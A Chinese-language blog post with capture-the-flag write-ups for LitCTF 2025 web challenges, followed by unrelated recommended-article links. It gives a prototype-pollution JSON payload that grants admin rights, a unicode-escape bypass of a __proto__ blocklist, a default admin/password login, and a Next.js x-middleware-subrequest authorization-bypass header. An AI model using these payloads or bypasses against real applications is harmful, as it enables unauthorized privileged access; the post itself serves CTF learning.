逼逼叨

很难受啊,出去跑项目封闭管理,结果没打上,只能赛后复现了。

上班是真滴累

Web

[LitCTF 2025]多重宇宙日记



进来先随便注册个账户,说实话看到这样的题目第一眼怀疑二次注入、直接不想做



登陆后发现可以设置主题语言之类的,随便试试无果



查看页面源码



摘出JS中的关键代码,简单看下



其实第二处的注释已经给了很明确的暗示,修改isAdmin状态后自动刷新,再看第三处仅用JSON.parse()去进行数据处理,很简单的原型链污染,注意要放在settings键下:

{
"settings":{
"theme": "123",
"language": "123",
"__proto__":{
"isAdmin": true
}
}
}

提交数据之后出现管理员面板,flag出现



这里多逼逼叨一句原型链污染

原型链污染

举个例子哈,假设咱最开始有这样的代码:

let user1 = {};
let user2 = {}; console.log(user1.isAdmin); // undefined
console.log(user2.isAdmin); // undefined

这个时候咱想输出user1和user2的isAdmin属性返回undefined,因为压根没人设置过user1和user2的isAdmin属性。

那原型链之所以叫做原型链,它是条链子,也就是说,当JS在当前的user1和user2中找不到这个属性的时候,它会去追根溯源:好,你这个Object没有,那我去找你的原型,也就是Object.prototype的isAdmin

那这个proto是哪来的,凭什么user1、user2会有这个玩意?

这个prototype被叫做对象的原型,说白了,也就是我创建use1、user2时候自动生成的隐藏属性,好比你人刚生下来,父母给你起名字叫小白,那你是否全身上下只有一个特征,是否你除了你叫小白以外就没有任何信息了?肯定不是啊,几斤几两?男孩女孩?好不好玩?等等等等,对吧~

对应来说JS对象的隐藏属性就是这些

方法名 说明
toString() 返回 [object Object],或者经过重写的内容
hasOwnProperty() 判断属性是不是对象自身拥有
valueOf() 对象的原始值表示(比如自动类型转换时)
isPrototypeOf() 判断是否在原型链上
propertyIsEnumerable() 属性是否可枚举
toLocaleString() 本地化版本的 toString()
constructor 指向构造函数,例如 Object 本身

但这里并没有我们所需的内容,这个时候我们就可以给Object.prototype去进行污染,就类似于示例中的Object.prototype.isAdmin = true这样去赋值

Object.prototype.isAdmin = true;

console.log(user1.isAdmin); // true
console.log(user2.isAdmin); // true

常见防御手法

const dangerousKeys = ['__proto__', 'prototype', 'constructor'];

function sanitize(obj) {
for (let key of dangerousKeys) {
if (key in obj) {
delete obj[key];
}
}
}

绕过方法:

{
"settings": {
"\u005f_proto\u005f": {
"isAdmin": true
}
}
}

[LitCTF 2025]nest_js

这题挺无语的,admin/password秒了



看一眼网站组件



Next.js,一猜考的今年的day

x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware
/dashboard

[LitCTF 2025]星愿信箱

fenjin秒了

随机推荐

  1. C# .Net Core 爬虫 HtmlAgilityPack 获取select 标签下的 option 文本

    https://blog.csdn.net/weixin_30566111/article/details/99483605 var html = "<select id=\" ...

  2. Spring 概述和依赖注入(DI)

    Spring概述 Spring框架是一个轻量级的企业级开发的一站式解决方案 Spring框架主要提供Ioc容器.AOP.数据访问.WEB开发.消息.测试等相关技术的支持 每一个被Spring管理的Ja ...

  3. 新能源制造升级核心引擎:五大MES厂商如何破局行业痛点?

    在全球"双碳"目标驱动下,中国新能源产业迎来爆发式增长,动力电池.光伏组件.储能设备产能持续扩张.然而,高速发展的背后,工艺变更频繁导致生产计划失效.多系统数据孤岛阻碍全流程追溯. ...

  4. 【8】2-SAT学习笔记

    前言 WFLS 暑假集训 Day10 2-SAT 是一个比较难的算法,属于省选算法,当时学的不好,可能讲的不是很透彻. 2-SAT 有 \(n\) 个布尔变量 \(x_1\sim x_n\),另有 \ ...

  5. Windows Server 2016 - 关闭开机显示的管理服务页和关机时必须要输入原因

    虽然服务器不需要经常开关机,但是毕竟是我家用,有时候甚至是把它当成一个极简的Windows10系统.每回开机就立刻跳出管理服务器的界面,而且加载还及其缓慢.让我想起了开机广告的一刀传奇.关机的时候,必 ...

  6. 前端项目中的需求 pdf 转 svg

    简介 通过 工具 inskcape 参考链接 https://zhuanlan.zhihu.com/p/144722704

  7. Petalinux ARM设置自启动、自动加载驱动、自动挂载SD卡

    一.在工程路径下新建app petalinux-create -t apps --template install -n myapp-init --enable petalinux会在metausr目 ...

  8. .NET SDK 9.0.200引入对SLNX解决方案文件的支持

    引言 解决方案文件长期以来一直是.NET和Visual Studio开发体验的重要组成部分,其格式在过去二十多年基本保持不变.最近,Visual Studio解决方案团队推出了一种基于XML的新格式- ...

  9. git ls-remote -h

    正确命令及作用 git ls-remote --heads <远程仓库URL> # 或简写为 git ls-remote -h <远程仓库URL> 输出示例 $ git ls- ...

  10. cPanel面板上生成CSR和KEY部署SSL

    在cPanel面板中生成CSR(证书签名请求)和KEY(私钥)是申请SSL证书的重要步骤.以下是详细的步骤指南,帮助你完成这一过程: ​ 第一步:登录到cPanel帐户 1.打开你的网页浏览器并输入你 ...